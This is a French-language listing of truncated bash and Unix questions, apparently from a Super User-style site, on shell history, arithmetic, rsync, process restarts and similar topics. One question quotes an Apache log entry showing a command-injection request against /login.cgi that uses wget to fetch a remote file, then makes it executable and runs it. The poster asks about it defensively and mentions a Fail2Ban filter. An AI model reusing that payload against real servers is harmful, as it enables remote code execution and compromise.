Mon histoire bash a mystérieusement cessé de fonctionner, et je n'ai aucune idée de comment y remédier. Voici à quoi ressemble mon .bashrc: HISTSIZE=500 HISTFILESIZE=500 HISTFILE=$HOME/.bash_history Cependant, lorsque je l'exécute, echo $HISTFILEil s'imprime /Users/myusername/.bash_sessions/EE8689E5-7DAD-4018-817E-0AF1DE36082A.historynew. Je suis le propriétaire du fichier .bash_history, donc je ne suis pas trop sûr de la …
Je me demandais, est-il possible de faire des maths simples en bash? Je pense à quelque chose comme, = 25-5 imprimerait 20 ou quelque chose. Cela peut-il être fait facilement? Merci
Si vous définissez ou exportez une variable d'environnement dans bash, vous pouvez la désactiver . Si vous définissez un alias dans bash, vous pouvez le dé-alias . Mais il ne semble pas y avoir de dysfonctionnement . Considérez cette fonction bash (triviale), par exemple, définie dans un fichier .bash_aliases et …
Dupliquer possible: Comment puis-je me déplacer efficacement dans la ligne de commande bash? Dans l'invite Windows, vous pouvez revenir en arrière ou avancer d'un mot en appuyant sur ctrlet <-/->. Quel est l'équivalent dans un environnement bash?
De temps en temps, il serait utile d'ajouter une commande directement à l'historique dans Bash sans l'exécuter réellement. Jusqu'à présent, la chose fermée que j'ai trouvée est d'ajouter un #devant et de frapper le retour. Y a-t-il de meilleures façons?
J'ai un processus qui est exécuté par le script init.d en arrière-plan. Par exemple: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac Dans certaines conditions, myprocess peut échouer et revenir. Existe-t-il un moyen (standard) de détecter son échec et de redémarrer automatiquement?
Si je démarre un script qui va prendre beaucoup de temps, je m'en rends compte inévitablement après avoir commencé le script, et j'aurais aimé avoir un moyen de faire une sorte d'alerte une fois qu'il est terminé. Ainsi, par exemple, si je lance: really_long_script.sh et appuyez sur Entrée ... comment …
Existe-t-il un moyen d'obtenir rsync pour imprimer les chemins de fichiers complets vers tous les fichiers qui sont différents sans réellement transférer de fichiers? Alternativement, j'ai besoin d'un moyen de différencier les fichiers sur deux arbres (via SSH) en fonction uniquement du changement de taille ou de la dernière modification.
Ce fichier de script BASH à commande unique est difficile à comprendre, je veux donc écrire un commentaire pour chacune des actions: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed n'est qu'un exemple, en fait c'est un mélange de greps …
Cette question a été migrée depuis Stack Overflow car il est possible d'y répondre sur Super User. Migré il y a 9 ans . J'ai besoin de copier un dossier / home / user d'un disque dur à un autre. Il a 100 000 fichiers et une taille d'environ 10G. …
J'utilise bash sur mon Mac et sur mon shell cygwin. Dans l'ensemble, j'en suis très satisfait. Ma seule plainte est cependant que son achèvement TAB n'est pas aussi bon que l'achèvement TAB de la ligne de commande Windows. Par exemple, s'il y a deux fichiers avec le même préfixe, bash …
J'ai remarqué ces derniers temps sur les journaux Apache de mes serveurs: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" J'ai donc créé un filtre Fail2Ban personnalisé et j'ai commencé à interdire les adresses IP demandant ces URL /login.cgi. Mais j'étais curieux de savoir ce qu'ils …
En bash, vous pouvez utiliser !*pour obtenir tous les arguments de la commande précédente. Par exemple, si vous le faisiez cp /some/path /some/other/pathet le faisiez ensuite mv !*, la deuxième commande serait étendue à mv /some/path /some/other/path. Y a-t-il quelque chose comme ça qui peut être utilisé pour accéder à …
Cette question explique comment recharger à l' .inputrcaide de C-x C-r. Mais comment le rechargerait-on en utilisant des commandes dans un script bash?
Si je voulais copier tous les *.sofichiers de srcvers dstje ferais: cp src/*.so dst Cependant, je veux copier tous les *.sofichiers de src et il subdirs de dans dst. Des indices?
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.